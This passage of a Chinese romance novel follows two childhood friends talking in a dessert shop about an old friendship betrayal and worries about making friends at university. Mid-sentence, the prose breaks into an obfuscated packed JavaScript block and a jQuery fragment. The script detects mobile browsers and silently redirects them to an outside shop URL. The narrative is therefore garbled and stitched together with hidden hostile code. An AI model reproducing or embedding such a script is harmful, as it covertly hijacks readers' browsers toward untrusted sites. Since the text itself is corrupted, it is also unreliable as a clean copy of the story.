路灯还没亮,天边的霞色却越烧越浓,橙黄的光漫过来,把徐凌音的轮廓镀上一层毛茸茸的边,像一只蹲在墙头晒太阳的橘猫。
路明川走在她旁边,余光里全是那团暖色。
“你要和我说什么。”他问。
家门就在前面几米,徐凌音脚步一转,快速攥住他的食指,一用力,把人拽进了路边的糖水铺。
吊扇慢悠悠地转着,搅动一室甜腻的空气。糖水上桌,徐凌音拿勺子搅着碗里的红豆沙,往前倾了倾身。
“你还记得段雅静背刺我的事情吗?”
“是段雅静来找你和好,还是梁姣又找你麻烦了。”路明川的眉头微微拢了一下。
“哎呀,都不是。”徐凌音往嘴里送了一口,“我就是,单纯想起来这件事。”
高中的事罢了。有一段时间她和数学课代表段雅静好得没边,那时候的小女生总爱下课凑在一起八卦,谁和谁在一起了,谁和谁又吵架了,就连上课也要传纸条继续聊,叽叽喳喳的,以为这就是友谊的证明。
直到段雅静转身就把她的话添油加醋地告诉了梁姣,却反把自己择得干干净净。
梁姣在课间操时堵住她,说体育课要跟她“好好聊聊”。
聊是没有聊的。体育课一解散,梁姣看见她就红了眼,抬手就要打。毫无准备的她当时懵了,站在原地没动,脑子里白茫茫一片。只觉得周围的空气忽然变得很稀薄。
那只挥到半空中的手是路明川拦下来的。不知从哪里冒出来,一把攥住梁姣的手腕,力道大到对方脸都白了。班里的人都知道他们俩的关系,也没人说闲话。
他把围成一圈的面孔驱散,至于那些人里面有谁,徐凌音眼前发黑一个都没看清,然后他握着徐凌音的手腕,把她和那个人一起带去了办公室。
在老师面前没人敢镇定自若地撒谎,路明川把事情简单说了一遍,两个人梳理完来龙去脉,最后当着老师的面互道了歉,事情算是了结了,终究是各退一步。
但留下阴影的徐凌音从此不敢再乱加入八卦小队,她和段雅静也自然而然地掰了。
毕业那天,段雅静却突然给她发了一大段话。密密麻麻的控诉,说她看似真诚,其实虚伪,表面一套背后一套。
徐凌音憋了一肚子气想反击,一连串的话发出去,迎接的却只是一个红艳艳的感叹号。然后对话框就变成了“对方已开启好友验证”。
她盯着那行字看了很久,一开始觉得莫名其妙,后来又忍不住想自己是不是真的是这样的人,到底哪里虚伪对不住段雅静了。屏幕的光映在脸上,她没有哭,只是一夜没睡。
从此之后,徐凌音也没再想结交什么新的朋友,只是和以前的那些朋友继续维持关系,生怕哪一天又得到虚伪的评价,她压根受不住。
直到毕业,手机止不住地刷到关于大学的帖子,一来二去把她整个人弄得焦虑无比。
糖水甜得发腻,在口腔里化开一股说不清的涩。徐凌音咂了一下嘴,声音不自觉地小了下去。
“小耳朵,你有时候会不会觉得我不大真诚?”
路明川抬眼看她。
“不会。我觉得你很好,非常好。”
“你这是对我开了一个友情滤镜你知道吗,虽然我很高兴,但是你先把这道滤镜关了。”
“我没有开所谓的滤镜,我实话实说。”
“可是别人说我不真诚,我想是不是我们俩玩的时间太长了,你已经习惯我这部分的''不真诚''了。”
“没有,别人觉得你不好,那是别人的错,和你有什么关系吗,让那个人反省一下改正他自己好了。”
他回答得太快,快到像是根本没经过思考,仿佛这句话天经地义,不需要任何论证。
徐凌音愣了一下。
“可是我有时候会偷偷讲人家的坏话,你也觉得没关系吗。”
“那怎么了。”
“我不信这个世界上有完人。”路明川用勺子把碗里的芒果拨到一边,声音不紧不慢,“对方可能有你不快的地方,你背后吐槽,一来一回扯平了。难道不喜欢一个人的时候,要直接撕破脸?表面上和平相处不就好了。否则地球早炸成几块了。”
徐凌音瞪大眼睛,像第一次认识他一样。
“你居然是这样想的?虽然我觉得你说的有点像歪理,但是我不会说出去的!那什么,我一直以为你除了学习,完全不会思考人际方面的事儿,就那种——”
“什么?”路明川撩起眼皮。
“不近人情?”她试探着说,“非黑即白的那种。虽然我们俩从小一起长大,但是我有时候还真不太敢和你说谁,怕你语重心长说我一顿,还觉得我恶心。我总觉得你不屑于听我这点屁事。”
路明川的勺子停在碗边。
他没有马上说话,只是看着徐凌音,看着她低着头搅红豆沙的样子,看着她说“怕你觉得我恶心”时睫毛颤了一下的样子。
“徐凌音。”他又叫她的全名,声音不高不低,却莫名有一种重量,“我不会讨厌你的。”
顿了顿,又补了一句。
“讲坏话,谁没做过?”
“你做过?你讲过谁?”
“你。”
徐凌音当即丢了勺子,糖水溅起一点到半空中,她一脸的不可置信,“你说我什么?”
“不告诉你,说了还叫什么背后说坏话,没意思。”
“你真讨厌,以后不准说我坏话。”
“看你表现。”
“切。”
虽然话是这么说,但是徐凌音觉得心里却很舒坦,弯弯的眼睛里映着糖水店的灯。
“那,你有没有担心过大学里的交友啊。”她又问。
“为什么要担心。”
“因为你从小到大都不喜欢交朋友啊,你不怕处理不来吗。”她突然哀嚎了一声,“我现在一想到要去一个完全陌生的地方,谁都不认识,就觉得难受。你知不知道,现在交
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406546|200538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朋友这个事情对我来说真的好难。以前的徐凌音已经die了,但归来的不是钮祜禄徐凌音。”
说完,她的手举到胸口,往心口上“捅”去,而后做了一个鬼脸,看上去中二无比。
“交朋友顺其自然,焦虑没有用。”
“你说得轻巧!”
“我不是一直在你身边吗。你怕什么?”
徐凌音抬头看他。
“哪里啊!我们的志愿不一样,根本不可能在一个学校,你忘了?现在好了,我连个过渡期的朋友都没有。”
“陈远舟呢。”
徐凌音眨了眨眼,勺子又在碗里搅了起来。一下子提起个别的人名,把她的思绪都打乱了。
“他?不一样……这种感觉不一样的。就算是在一起了也不能完全替代掉朋友的地位啊。我需要朋友,也可以需要男朋友,但不能只需要男朋友。哪怕他天天陪着我,这也不一样。”
她说到“男朋友”三个字的时候,语气轻飘飘的,像在说一件理所当然的事情。
她还想往下说,但抬眼看见路明川面无表情的样子,又觉得自己在对牛弹琴。即便他再聪明,这方面也肯定理解不了。
“算了算了,你不懂。”
她摆摆手,声音里带着一点自己也说不清的烦躁,“小耳朵,你根本就不懂我,你这个情感上的直男,简直是白纸。”
说完又觉得自己有点过分,人家明明在好好听她说话。她瘪了瘪嘴,端起碗把最后一口糖水灌下去,冰都化完了,温吞吞的,更甜了。
路明川没有接话。
过了好一会儿,吊扇转完不知道第几圈,他才开口。
“我,对你不好吗?”
徐凌音没有犹豫,“好啊,好吧。但是不一样。”
“怎么不一样?”
思考良久的徐凌音第一次体会到给“学渣”讲题的痛苦,连个入手点都找不到,这个题目范围太广了。
“你应该是习惯地对我好?呃...哎呀,你别问我了,我说不清楚,我语文不行。自行体会得了。”
徐凌音皱着眉头,下巴搁在桌沿上,像一只蔫了的猫。
见状,路明川的唇角没忍住向上勾着。
“没事的,你担心的事不会发生。”
“有事的!说不定呢。”
“你相信我。”
他说这话的时候,忽然抬起了眼。
那双眼睛平时总是淡淡的,像隔了一层雾,此刻那层雾散了,直直地、定定地看着她,像一颗石子带着重量投进深水,再无声无息地沉到底。
他就这样看着她,一动不动。
糖水店的灯乍然又亮起一盏,白光落在他眉骨上,把那双眼睛照得格外清晰。他垂下眼,淡色的瞳孔被睫毛遮住,显得晦暗浓厚。
徐凌音有一瞬怀疑自己是不是听错了。
好怪,好奇怪。
她又把头埋下去,路明川一点儿也不懂她,这个大木头。